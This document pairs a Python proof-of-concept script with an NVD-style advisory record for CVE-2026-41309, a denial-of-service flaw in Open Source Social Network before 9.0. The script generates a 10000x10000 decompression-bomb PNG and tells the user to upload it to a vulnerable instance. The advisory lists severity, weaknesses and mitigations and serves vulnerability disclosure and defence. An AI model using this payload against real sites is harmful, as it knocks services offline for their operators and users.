CVE-2026-41309

import sys from PIL import Image # Create a malicious image with high dimensions but small file size # This script generates a PNG that acts as a decompression bomb. # Usage: python3 generate_poc.py output.png def generate_decompression_bomb(filename): width = 10000 height = 10000 # Create a new image with a mode that supports small file size (e.g., P mode) img = Image.new('P', (width, height)) # Fill with a single color to keep compression high img.putpalette([i % 256 for i in range(768)]) for x in range(width): for y in range(height): img.putpixel((x, y), 0) # Set all pixels to color 0 img.save(filename, optimize=True) print(f"PoC image generated: {filename}") print(f"Dimensions: {width}x{height}") print("Upload this file to an OSSN instance < 9.0 to trigger the DoS.") if __name__ == "__main__": if len(sys.argv) < 2: print("Please specify output filename.") else: generate_decompression_bomb(sys.argv[1])

{"cve": {"id": "CVE-2026-41309", "sourceIdentifier": "[email protected]", "published": "2026-04-24T03:16:11.720", "lastModified": "2026-04-29T20:56:50.103", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open Source Social Network (OSSN) is open-source social networking software developed in PHP. Versions prior to 9.0 are vulnerable to resource exhaustion. An attacker can upload a specially crafted image with extreme pixel dimensions (e.g., $10000 \\times 10000$ pixels). While the compressed file size on disk may be small, the server attempts to allocate significant memory and CPU cycles during the decompression and resizing process, leading to a Denial of Service (DoS) condition. It is highly recommended to upgrade to OSSN 9.0. This version introduces stricter validation of image dimensions and improved resource management during the processing phase. Those who cannot upgrade immediately can mitigate the risk by adjusting their `php.ini` settings to strictly limit `memory_limit` and `max_execution_time` and/or implementing a client-side and server-side check on image headers to reject files exceeding reasonable pixel dimensions (e.g., $4000 \\times 4000$ pixels) before processing begins."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}, {"lang": "en", "value": "CWE-770"}]}], "references": [{"url": "https://github.com/opensource-socialnetwork/opensource-socialnetwork/commit/12357113b3be189da7f6e429979a464e4f982117", "source": "[email protected]"}, {"url": "https://github.com/opensource-socialnetwork/opensource-socialnetwork/issues/2535", "source": "[email protected]"}, {"url": "https://github.com/opensource-socialnetwork/opensource-socialnetwork/security/advisories/GHSA-72qf-xrcw-fhr2", "source": "[email protected]"}]}}